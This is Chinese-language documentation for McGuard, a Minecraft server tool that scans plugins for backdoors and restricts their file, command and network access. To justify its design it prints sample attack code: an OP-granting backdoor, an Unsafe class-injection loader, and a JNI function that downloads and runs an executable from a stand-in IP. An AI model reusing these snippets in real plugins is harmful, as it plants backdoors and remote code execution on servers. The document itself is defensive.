星遥工坊

McGuard

McGuard
2024-04-28 · 17 min read

MCG是一个简单易用的MC服务端安全软件。
它可以在不运行服务端的情况下,对插件进行彻底的扫描;
它可以解析Skript脚本和ChestCommands菜单,以及其他一些插件的配置文件;
它可以限制服务端不能访问哪些文件、对哪些文件只读;
它可以找出是哪些插件在访问特定的文件;
它可以监控或阻止插件联网;
它甚至可以监视zip解压密码、dump动态加载的插件,或者找出哪些插件导致了服务端卡顿。

本文内容较多,可以点开右下角的目录直接前往需要了解的地方

控制台模式

这是什么

MCGuard的控制台模式是一个独立的程序,它可以在不启动服务器的情况下对服务端中的全部插件进行扫描,并找出潜在的恶意插件。
控制台模式的优点是:

  • 0风险:所有的扫描都不会导致代码被执行,因此哪怕存在插件高度恶意,也不会对您的机器造成任何影响。
  • 高速:控制台模式不需要启动服务器,因此扫描速度非常快。
  • 轻量:扫描占用的资源非常少,1GB内存可以轻松并行运行数十个扫描进程。
  • 简单:控制台模式不需要任何配置,只需要替换服务器核心即可使用。
  • 辅助性强:控制台模式拥有非标准模式可供选择。

控制台模式特别适合:

  • 一般用户在运行未知来源的服务端前对其进行检查。
  • 大量清洗服务端,例如服务端交易者、服务商。
  • 对已知存在恶意插件的服务端进行检查。

快速开始

要使用MCGuard的控制台模式,您只需要使用MCGuard替换服务器的核心。
如下图所示。再使用标准的命令行,例如java -Xmx1G -jar MCG.jar启动MCG即可。

模式选择

当MCG控制台模式完成启动后,您将见到以下字样:

[McGuard] 感谢您使用McGuard!
MCGuard v-b0/r0 Author: huzpsb
请选择模式(0-标准模式 1-专家模式 2-开发者模式):

既然您正在翻阅这份文档,请输入0,然后按下回车。

结果展示

[提示] 正在扫描 MCG.jar ................
[提示] 正在扫描 Vault.jar ................
[提示] 正在扫描 [C]安全测试_CoRE.jar ................

---------------------------------------------------------
[结果展示][C]安全测试_CoRE.jar
[严重] a/x.class 很有可能存在获取OP类后门 (r:set-only)。
[严重] a/x.class 很有可能存在远程命令类后门 (r:processbuilder)。
扫描完成!请按任意键退出

对于未检出异常的插件,MCG不会输出“结果展示”块。例如,上文中的MCG.jar和Vault.jar。
对于存在异常的插件,MCG会输出“结果展示”块。并给出异常的具体描述。
请注意,MCG不会对插件进行修改,也不会对插件进行删除。您需要手动删除异常插件。

高级模式注释

三个模式的区别在于:

  • 标准模式:使用内置的已知恶意代码对插件进行匹配,能够检出常见的恶意插件。几乎不会误报。
  • 专家模式:使用内置的已知恶意代码对插件进行匹配并使用某些规则分析代码的意图,能够检出绝大多数常见的与没有故意规避扫描的恶意插件。存在一定的误报。
  • 开发者模式:使用内置的常见代码模板对插件进行匹配,如果不属于常见的代码行为则会报告。能够检出几乎所有的恶意插件。结果仅供人工检查时参考。

请注意,开发者模式会输出大量的信息,这些信息对于普通用户来说是没有意义的。设计上,开发者模式仅供在人工检查时缩小范围使用。

Pro版本

Pro版本与免费版本的功能没有任何区别。界面、模式、规则库,甚至是客户服务,都是完全一致的。
Pro版本的优势在于:更快。虽然免费版本的速度完全能够满足普通用户的需要,但是有一些人可能希望使用MCG对大量的服务端进行扫描。
如果您购买了Pro版本,您将获得一个Pro版本的密钥。您可以通过记事本编辑mcg.agreement文件,将密钥填入其中,即可激活Pro版本。
请注意,Pro版本的密钥是与机器绑定的,您无法将密钥用于其他机器。请在购买密钥前确保您提供的用户ID是您常用计算机的用户ID。

插件模式

这是什么

MCG的插件模式是一个Bukkit/Spigot服务端插件。它可以在服务器运行过程中对服务器进行持续的保护,减少漏网之鱼。
请注意,插件模式的安全是相对的。可能存在极少数恶意插件能够突破MCG的行为管控。不要运行存在已知恶意插件的服务端,哪怕您已经安装了MCG!
在运行来源未知服务端前,我们强烈推荐先使用MCG的控制台模式进行扫描,并提供一个虚拟化(Sandboxie等)的环境!

插件模式的优点是:

  • 权限管控:管控插件非恶意但可能不被希望具有的行为,例如联网的用户统计。
  • 额外保险:减少被MCG的控制台模式漏过(很不幸,但是这种事情可能发生)的恶意插件产生的影响。
  • 行为分析:监控插件的具体行为。例如找出某个特定的文件是被哪个插件读取了,或者是哪个插件造成了服务器卡顿。
  • 调试功能:提供了CryptMonitor、Dumper等实用小程序。

插件模式特别适合:

  • 不得不使用非正规来源(例如聊天群组中传播)的插件的普通服主。
  • 希望进一步了解自己安装的插件的具体行为的服主。
  • 希望获得进一步的安全保障的服主。
  • 对自己制作的服务端的安全性特别负责的服务端整合包制作者。

MCG作者在此授权所有服务端整合包制作者在不对MCG加以修改的情况下,将MCG用于任意商业或非商业整合包。

快速开始

要使用MCGuard的插件模式,您只需要将MCGuard加入服务器的plugins文件夹并重启服务器。
默认配置应该足以应对绝大多数典型的使用案例。

MCG的启动流程

MCG会在所有插件加载()之后、启动(注册事件)之前读取配置并注册SecMan。
MCG会在服务端彻底启动后(即所有插件都已经加载完成)开始异步的插件扫描。
MCG会在服务端完成第一个Tick(创世Tick)后开始事件监视器的启动。

配置:事件监视器

inject: true
op: true
lag: true
gm: true
mute: false

inject:是否启用事件监视器模块。开启模块后,您方可使用Inject模块的功能。
op:检查是否存在这样的事件:某个不是OP的玩家在经过某个插件的处理后获得了OP权限。封禁这个玩家并指出涉事插件。
lag:检查是否存在这样的事件:某个插件在主线程上执行了耗时过长的操作。指出涉事插件。
gm:检查是否存在这样的事件:某个插件切换了服务器核心的游戏模式。指出涉事插件。
mute:在控制台中隐藏“Unable to pass event to plugin XXX”等字样。相当于半个ConsoleSpamFix,但是不会掩盖printStackTrace。

配置:行为管控总开关

enable: true
basic: true

enable:是否启用行为管控模块。开启模块后,您方可使用SecMan模块的功能。
basic:是否禁用高级功能组(平台库管控与反射管控)。

配置:文件行为管控

watchlist:
  - "code.yml"
blocklist:
  - "desktop"
readonly:
  - "readonly"

字符串列表。如果目标文件路径转换为纯小写包含列表中的任意一个字符串,则会视为命中规则。
watchlist:监控列表。如果目标文件路径命中监控列表中的任意一个规则,则会在控制台中输出追踪。追踪信息包含插件文件、类路径与具体的行为。
blocklist:阻止列表。如果目标文件路径命中阻止列表中的任意一个规则,则会阻止插件对该文件的访问。
readonly:只读列表。如果目标文件路径命中只读列表中的任意一个规则,则会阻止插件对该文件的写入或执行。

watchlist具有最高优先级,其次是blocklist,最后是readonly。
例如,如果插件尝试读取一个同时被三个列表命中的文件,那么MCG会在控制台中输出追踪信息,并阻止插件对该文件的访问。

配置:系统命令管控

allowexec:
  - "ping"
verbosex: true

allowexec:允许执行的系统命令列表。如果插件尝试执行的命令转换为纯小写后以列表中的任意一个字符串开头
,则会允许插件执行该命令。
verbosex:如果有插件尝试执行不在allowexec列表中的命令,是否在控制台中输出追踪信息。

配置:网络行为管控

allow:
  - "minecraft.net"
  - "127.0.0.1"
verbosen: true

allow:允许访问的网络地址列表。如果插件尝试访问的地址与列表中的任意一个字符串相等,则会允许插件访问该地址。
不包含子域名和/或协议。例如,如果您允许访问"minecraft.net",则插件不能访问"www.minecraft.net",但是可以访问"ftp://minecraft.net:253/a/b"。
verbosen:如果有插件尝试访问不在allow列表中的地址,是否在控制台中输出追踪信息。

配置:反射管控

limit:
  - "org.bukkit."
  - "net.minecraft."
verboser: true

limit:允许反射的类路径列表。如果插件尝试反射的包或类路径以列表中的任意一个字符串开头,MCG会允许插件反射该包或类。
特别的,因为包不以.结尾,因此“org.bukkit.”会允许反射org.bukkit包下的所有类,但是不会允许反射org.bukkit包本身。
verboser:如果有插件尝试反射不在limit列表中的包或类,是否在控制台中输出追踪信息。

配置:平台库管控

exempt:
  - "AuthMe"
verbosei: true

exempt:允许使用平台库的插件列表。只有存在于列表中的插件才能使用平台库。列表中允许存在未安装的插件。如果有插件同名,MCG会都允许使用平台库。
verbosei:如果有插件尝试使用平台库,但是不在exempt列表中,是否在控制台中输出追踪信息。

配置:插件扫描

本项目不允许配置。MCG将按照标准模式扫描全部插件,并且在服务器聊天中向所有人展示扫描出的异常结果。
如果有误判,请联系作者。

配置:高级功能

dumper: false
noagt: false
show: false

dump:启用后,您将在服务端根目录的mcg_dump文件夹中找到所有被动态加载的类的dump。用于分析动态加载的恶意类。
noagt:启用后,MCG将破坏JavaAgent的实现类,阻止当前JVM中的所有JavaAgent。
show:启用后,MCG将破坏AES Cipher的实现类,阻止当前JVM中的AES加解密流程并直接输出密钥。用于分析潜在的加密后的恶意类。
在启用这些功能前,请自行确认具有足够的知识与能力。这些功能高度危险,作者不会提供任何技术支持。
这些功能也有可能导致您的机器损坏或数据丢失。请务必在虚拟化环境中使用这些功能。

下载 McGuard

稳定版下载

点击
特别的,此处的版本也是一个没有已知Bug的稳定版。
以下版本可能与文档不一致,问就是懒得更新文档。 ;P

最新开发版下载

请加入 QQ 群 666737184,群文件中有最新开发版下载。
您也可以通过本群参加MCG的新功能投票。

设计说明

本说明主要供希望进一步了解MCG工作原理与设计理念的人查阅。普通用户不必阅读。
本说明不适合缺少Java基础的人阅读。

模块介绍:扫描

MCG的扫描主要是基于特征匹配。
Motivation: 考虑以下问题:

  • 哪种地方后门更多?正式发布站(mcbbs/minebbs)?或者某些服务商/技术交流群/黑论坛?
  • 哪种后门更多?从未被使用过的,还是经常被触发的?
  • 后门会不会被混淆器混?

答案不言而喻,后者从未被使用过的
后门,往往是拿来威胁的。例如,你可能抢占了友商的用户,或者使用了盗版的资源。
而一旦被使用,后门反而失去了它的价值。要么它被找出来,然后回档或者补偿。要么,被植入了后门的人跑路。
没有例外。
因此,面对后门,关键的问题是,

  • 我们能不能在一个后门没有被使用的情况下,把它找出来?
  • 如果不能,我们能不能阻止它被使用?
  • 并且,以上两个问题的方法能不能扫穿混淆器,还不影响正常插件的工作?

一种有效的思路便是,收集常见的后门,提取特征以供扫描;同时提供动态防护。而这就是MCG正在做的事情。
呃,也正因如此,MCG无法开源。因为一旦开源,便特别容易被规避。

模块介绍:Inject

Inject模块用于监视插件对事件的监听,以便分析插件的性能与安全性。
Motivation: 考虑以下代码


@EventHandler
public void onPlayerJoin(PlayerJoinEvent event) {
    Player player = event.getPlayer();
    boolean isOp = player.isOp();
    Bukkit.getServer().dispatchCommand(player, "say hello");
    player.setOp(isOp);
}

以上代码中存在setOp行为。虽然一种更好的方式是提供一个继承于Player的类,
但是有很多插件,例如ChestCommands,会这么写。
同时,我们看一看一个标准的后门插件的代码:


@EventHandler
public void onPlayerJoin(PlayerJoinEvent event) {
    Player player = event.getPlayer();
    if (player.getName().equals("admin")) {
        player.setOp(true);
    }
}

这种插件的危害性是显而易见的。那么如何区分这两种插件呢?
Inject模块的思路是,通过监视插件事件的实际效果而不是运行时的代码来判断插件的行为。
例如,对于上面的代码,Inject模块会监视玩家最终是否被从非OP设置为OP,而不是监视setOp方法的调用。
伪代码如下:

public void callEvent(Event event) {
    if (event instanceof PlayerJoinEvent) {
        Player player = ((PlayerJoinEvent) event).getPlayer();
        boolean isOp = player.isOp();
        // 插件的原始逻辑
        if (!isOp && player.isOp()) {
            // 判定插件是后门插件
        }
    }
}

同理,我们可以分析插件是否存在性能问题,修改了服务器的默认游戏模式等等。
相关配置请见MCG的Inject模块配置文件。

模块介绍:SecMan

SM模块用于监视插件对文件、进程与网络等底层资源的访问。
Motivation: 所有的代码都是运行在JVM内的,因此我们可以通过监视JVM的行为来判断插件的行为。
例如,我们可以监视插件是否读取了某个文件,是否创建了某个进程,是否访问了某个服务器等等。

这里额外解释一下为什么要限制Native方法的调用和反射的使用。
考虑以下代码:

import sun.misc.Unsafe;

import java.lang.reflect.Field;
import java.util.Base64;

public void doEvilThings(Event event) {
    Field unsafeF = Unsafe.class.getDeclaredField("theUnsafe");
    unsafeF.setAccessible(true);
    Unsafe unsafe = (Unsafe) unsafeF.get(null);
    byte[] someEvilCode = Base64.getDecoder().decode("abcdef");
    Class<?> cls = unsafe.defineClass("java.lang.X", someEvilCode, 0, someEvilCode.length, Integer.class.getClassLoader(), null);
    cls.getMethod("main", String[].class).invoke(null, (Object) new String[]{});
}

因为Integer.class.getClassLoader()是SystemClassLoader,所以这个类的定义者将不可追溯。
从而,我们甚至无法判断这个类是否是插件定义的。

或者考虑以下代码:

#include <jni.h>
#include <windows.h>
JNIEXPORT void JNICALL Java_aJNI_doJNI(JNIEnv *env, jobject thisObj) {
    char buffer[MAX_PATH];
    _getcwd(buffer, MAX_PATH);
    strcat_s(buffer, "//1.jpg");
    HRESULT Result = URLDownloadToFileA(NULL, "http://1.1.1.1/1.exe", buffer, 0, NULL);
    system(buffer);
    return;
}

在native方法中,整个SM模块的监视都将失效。因此,我们需要限制插件对Native库的加载。

Alternatives

MCG SAM PluginScan AntiBackdoor BackdoorCrash PermissionDisable Yum
Java版本 7-21 17+ 7-17 7-17 8 7-21 7-21
仍在维护
静态扫描 基于字节码 基于字节码 基于字节码 基于字节码 基于反编译
动态保护 基于事件注入与SecMan 基于NativeAgent 基于NativeHook 基于权限扫描 基于事件注入与核心注入
阻止系统命令运行 仅扫描
能够识别未知后门 如果能够反编译 如果能够触发规则 如果能够触发规则
误判率 0%* 15% 100% 0% 0% 0% 15%
本身就是后门

*指的是:这些插件没有被MCG误判,但是有一定的可能是出于幸存者偏差(即,这些插件又MCG团队选取)。